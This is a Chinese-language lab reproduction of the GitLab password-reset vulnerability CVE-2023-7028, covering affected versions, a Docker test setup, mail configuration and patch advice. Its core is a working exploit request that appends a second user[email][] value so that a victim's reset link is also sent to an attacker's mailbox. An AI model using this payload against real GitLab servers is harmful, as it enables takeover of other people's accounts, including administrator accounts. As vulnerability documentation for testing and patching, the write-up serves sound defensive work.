一、漏洞简介
2024年1月11日,Gitlab 官方披露 CVE-2023-7028,GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。
二、影响版本
16.1 <= GitLab CE/EE < 16.1.5
16.2 <= GitLab CE/EE < 16.2.8
16.3 <= GitLab CE/EE < 16.3.6
16.4 <= GitLab CE/EE < 16.4.4
16.5 <= GitLab CE/EE < 16.5.6
16.6 <= GitLab CE/EE < 16.6.4
16.7 <= GitLab CE/EE < 16.7.2
利用条件:
任意用户的邮箱
邮件功能正常使用
如果内置用户 admin@example.com信息未更改, 亦可重置该密码并实现管理员账号登录
三、环境搭建
1、拉取镜像
docker run -d -p 4443:443 -p 8080:80 gitlab/gitlab-ce:16.1.2-ce.0
2、登录gitlab
启动过程毕竟慢,需要等几分钟,然后访问 http://:8080
3、进入容器,查看管理员的密码
docker exec -it dc09139278d8 bash
cat /etc/gitlab/initial_root_password
Password: PXdG3fJ7Pv7h9JVEuu3Catwf6DXUDGn1zcCOgT7BMok=
4、配置邮件发送功能
Gitlab 的邮箱配置文件在 /etc/gitlab/gitlab.rb,这里以 QQ 邮箱为例。
gitlab_rails['smtp_enable'] = true
gitlab_rails['smtp_address'] = "smtp.qq.com"
gitlab_rails['smtp_port'] = 465
gitlab_rails['smtp_user_name'] = "xxx@qq.com"
gitlab_rails['smtp_password'] = "xxxxxx" # 授权码 去QQ邮箱申请一个
gitlab_rails['smtp_domain'] = "smtp.qq.com"
gitlab_rails['smtp_authentication'] = "login"
gitlab_rails['smtp_enable_starttls_auto'] = false
gitlab_rails['smtp_tls'] = true
gitlab_rails['gitlab_email_from'] = 'xxxx@qq.com'
配置完成后重启服务
gitlab-ctl reconfigure
gitlab-ctl restart
5、重启之后验证邮箱是否配置成功
# 进入控制台
gitlab-rails console
# 发送测试邮件
Notify.test_email('1******@qq.com', 'test', 'test').deliver_now
如下图,发送成功,并顺利收到测试邮件
6、修改管理员邮箱
使用默认的账号和密码登录,在复现之前要为管理员账号修改一下邮箱,因为默认的邮箱不能发送邮件,配置过程如下:
#账号密码
admin@example.com
PXdG3fJ7Pv7h9JVEuu3Catwf6DXUDGn1zcCOgT7BMok=
#修改邮箱
http://172.16.20.71:8080/-/profile/emails
http://172.16.20.71:8080/-/profile
四、漏洞复现
1、注册一个新用户
2、审核新用户
http://172.16.20.71:8080/admin/users?filter=two_factor_disabled
3、重置密码
退后登录后,进入到重置密码的页面,这里受害者为xxx@163邮箱,攻击者为qq邮箱 ,输入受害者邮箱并用bp抓包
http://172.16.20.71:8080/users/password/new
4、重置的同时打开bp抓包
5、构建数据包并重放
正常的数据包,比如受害者邮箱为victim@163.com
&user%5Bemail%5D%5B%5D=victim%40163.com
构造后,重置邮件同时发送给受害者victim@163.com和攻击者attack@qq.com
&user%5Bemail%5D%5B%5D=victim%40163.com&user%5Bemail%5D%5B%5D=attack%40qq.com
&user[email][]=victim@163.com
&user[email][]=attack@qq.com #URL解码后
如图,受害者163邮箱和攻击者qq邮箱,同时收到了重置密码邮件
6、打开攻击者qq邮箱中的重置密码链接
http://dc09139278d8/users/password/edit?reset_password_token=icu4eP8Gx61MSLCSgFoT
已经成功重置:
五、漏洞修复
官方已发布新补丁,请及时更新到新版本。